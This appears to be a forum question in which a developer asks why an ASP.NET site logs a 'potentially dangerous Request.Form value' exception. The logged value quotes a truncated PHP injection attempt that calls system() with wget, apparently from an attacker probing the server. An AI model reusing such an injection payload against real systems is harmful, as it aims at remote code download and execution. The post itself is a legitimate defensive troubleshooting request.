ASP.net Potentially dangerous request.form value was detected from the client

Question

I am getting a exception from my ASP.net web application that is on our dmz server. Not really sure what it causing it and how to handle the error tHis is the exception I am logging

Exception occured in: System.Web.HttpRequest.ValidateString
Message: A potentially dangerous Request.Form value was detected from the client (="<?php system("wget 2...").
Source: System.Web
Stack Trace: at System.Web.HttpRequest.ValidateString(String value, String collectionKey, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.ValidateHttpValueCollection(HttpValueCollection collection, RequestValidationSource requestCollection)
   at System.Web.HttpRequest.get_Form()
   at System.Web.UI.PageRequestManager.IsAsyncPostBackRequest(HttpRequestBase request)
   at System.Web.Handlers.ScriptModule.HttpResponse_Redirecting(Object sender, EventArgs e)
   at System.Web.HttpResponse.Redirect(String url, Boolean endResponse, Boolean permanent)
   at System.Web.Security.FormsAuthenticationModule.OnLeave(Object source, EventArgs eventArgs)
   at System.Web.HttpApplication.SyncEventExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute()
   at System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously)

I tried copying and pasting into the textbox to see if maybe that is how to replicate the error. Any help would be greatly appreciated.